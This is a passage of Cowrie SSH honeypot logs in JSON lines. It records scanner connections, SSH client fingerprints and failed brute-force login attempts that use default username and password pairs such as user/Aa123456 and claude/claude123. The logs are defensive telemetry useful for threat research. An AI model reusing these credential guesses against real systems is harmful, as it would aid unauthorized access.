6-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:04.323653Z","src_ip":"176.65.139.95","session":"f5a68a9a461c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:04.729189Z","src_ip":"176.65.139.95","session":"f5a68a9a461c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:05.822981Z","src_ip":"176.65.139.95","session":"f5a68a9a461c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54144,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f9009188641","protocol":"ssh","message":"New connection: 192.109.200.78:54144 (159.203.135.109:22) [session: 4f9009188641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:05.926148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:05.936866Z","src_ip":"192.109.200.78","session":"4f9009188641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:06.023099Z","src_ip":"192.109.200.78","session":"4f9009188641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:06.281892Z","src_ip":"192.109.200.78","session":"4f9009188641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:07.370726Z","src_ip":"192.109.200.78","session":"4f9009188641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44914,"dst_ip":"159.203.135.109","dst_port":22,"session":"a57e64d68675","protocol":"ssh","message":"New connection: 192.109.200.78:44914 (159.203.135.109:22) [session: a57e64d68675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:10.096784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:10.105622Z","src_ip":"192.109.200.78","session":"a57e64d68675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:10.192979Z","src_ip":"192.109.200.78","session":"a57e64d68675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58678,"dst_ip":"159.203.135.109","dst_port":22,"session":"598689762dbd","protocol":"ssh","message":"New connection: 176.65.139.95:58678 (159.203.135.109:22) [session: 598689762dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:10.399734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:10.405726Z","src_ip":"176.65.139.95","session":"598689762dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:10.442834Z","src_ip":"192.109.200.78","session":"a57e64d68675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:10.500399Z","src_ip":"176.65.139.95","session":"598689762dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:10.877358Z","src_ip":"176.65.139.95","session":"598689762dbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:11.640644Z","src_ip":"192.109.200.78","session":"a57e64d68675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:12.004889Z","src_ip":"176.65.139.95","session":"598689762dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44930,"dst_ip":"159.203.135.109","dst_port":22,"session":"88f4490896c7","protocol":"ssh","message":"New connection: 192.109.200.78:44930 (159.203.135.109:22) [session: 88f4490896c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:14.145534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:14.298332Z","src_ip":"192.109.200.78","session":"88f4490896c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:14.303040Z","src_ip":"192.109.200.78","session":"88f4490896c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:14.657308Z","src_ip":"192.109.200.78","session":"88f4490896c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53232,"dst_ip":"159.203.135.109","dst_port":22,"session":"7801fa19f10f","protocol":"ssh","message":"New connection: 159.203.92.129:53232 (159.203.135.109:22) [session: 7801fa19f10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:15.692727Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:15.742563Z","src_ip":"192.109.200.78","session":"88f4490896c7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:15.765915Z","src_ip":"159.203.92.129","session":"7801fa19f10f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:15.769897Z","src_ip":"159.203.92.129","session":"7801fa19f10f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MaHan","password":"MaHan","message":"login attempt [MaHan/MaHan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:16.000125Z","src_ip":"159.203.92.129","session":"7801fa19f10f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58688,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8ad68f1dceb","protocol":"ssh","message":"New connection: 176.65.139.95:58688 (159.203.135.109:22) [session: d8ad68f1dceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:16.751003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:16.759689Z","src_ip":"176.65.139.95","session":"d8ad68f1dceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:16.901770Z","src_ip":"176.65.139.95","session":"d8ad68f1dceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:17.145806Z","src_ip":"159.203.92.129","session":"7801fa19f10f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53958,"dst_ip":"159.203.135.109","dst_port":22,"session":"00446fc58754","protocol":"ssh","message":"New connection: 80.94.92.186:53958 (159.203.135.109:22) [session: 00446fc58754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:17.193713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:17.270281Z","src_ip":"80.94.92.186","session":"00446fc58754","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.247.153.211","src_port":53770,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bbe6299ad8f","protocol":"ssh","message":"New connection: 223.247.153.211:53770 (10.17.0.5:22) [session: 0bbe6299ad8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:17.337169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:17.351980Z","src_ip":"223.247.153.211","session":"0bbe6299ad8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:17.386114Z","src_ip":"80.94.92.186","session":"00446fc58754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:17.505349Z","src_ip":"176.65.139.95","session":"d8ad68f1dceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:17.593211Z","src_ip":"223.247.153.211","session":"0bbe6299ad8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:18.005310Z","src_ip":"80.94.92.186","session":"00446fc58754","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56804,"dst_ip":"159.203.135.109","dst_port":22,"session":"15a922258a42","protocol":"ssh","message":"New connection: 192.109.200.78:56804 (159.203.135.109:22) [session: 15a922258a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:18.308356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:18.336608Z","src_ip":"192.109.200.78","session":"15a922258a42","protocol":"ssh"}
